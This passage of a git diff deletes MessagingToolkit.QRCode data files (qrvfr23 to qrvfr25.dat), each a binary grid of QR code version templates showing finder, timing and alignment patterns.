-000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -111000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -001011000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000110100000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -000000001000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -111111100000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000 -100000100000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -101110100000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -101110100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -101110100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -100000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -111111100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr23.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr23.dat deleted file mode 100644 index 7d08b5b..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr23.dat +++ /dev/null @@ -1,109 +0,0 @@ -1111111000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000101111111 -1000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010101000001 -1011101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011101011101 -1011101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011001011101 -1011101000000000000000000000111110000000000000000000111110000000000000000000111110000000000000000011101011101 -1000001000000000000000000000100010000000000000000000100010000000000000000000100010000000000000000001001000001 -1111111010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101111111 -0000000000000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000000000000 -0000001000000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -0000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -0000101010000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000 -0000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -0000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -0000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -0000101010000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000 -0000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -0000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -0000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -0000101010000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000 -0000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -0000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0111101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0011110000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1110101000000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -0000000010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -1111111000000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000 -1000001000000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -1011101000000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -1011101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1011101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1111111000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr24.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr24.dat deleted file mode 100644 index b418221..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr24.dat +++ /dev/null @@ -1,113 +0,0 @@ -11111110000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000101111111 -10000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000001 -10111010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011001011101 -10111010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011101011101 -10111010000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000001011101 -10000010000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000011001000001 -11111110101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101111111 -00000000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000000000000 -00000010000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00001111100000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -00001000100000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -00001010100000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -00001000100000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -00001111100000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00001111100000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -00001000100000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -00001010100000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -00001000100000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -00001111100000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00001111100000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -00001000100000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -00001010100000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -00001000100000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -00001111100000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00110110000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00110100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -10010010000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -00000000100000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -11111110000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -10000010000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -10111010000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -10111010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -10111010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -10000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -11111110000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr25.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr25.dat deleted file mode 100644 index 0386cf1..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr25.dat +++ /dev/null @@ -1,117 +0,0 @@ -111111100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010001111111 -100000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000101000001 -101110100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011101011101 -101110100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001011101 -101110100000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000010001011101 -100000100000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000011001000001 -111111101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101111111 -000000000000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000000000000 -000000100000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -101011100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -001001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -011000100000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -000000001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -111111100000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -100000100000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -101110100000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -101110100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -101110100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -100000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 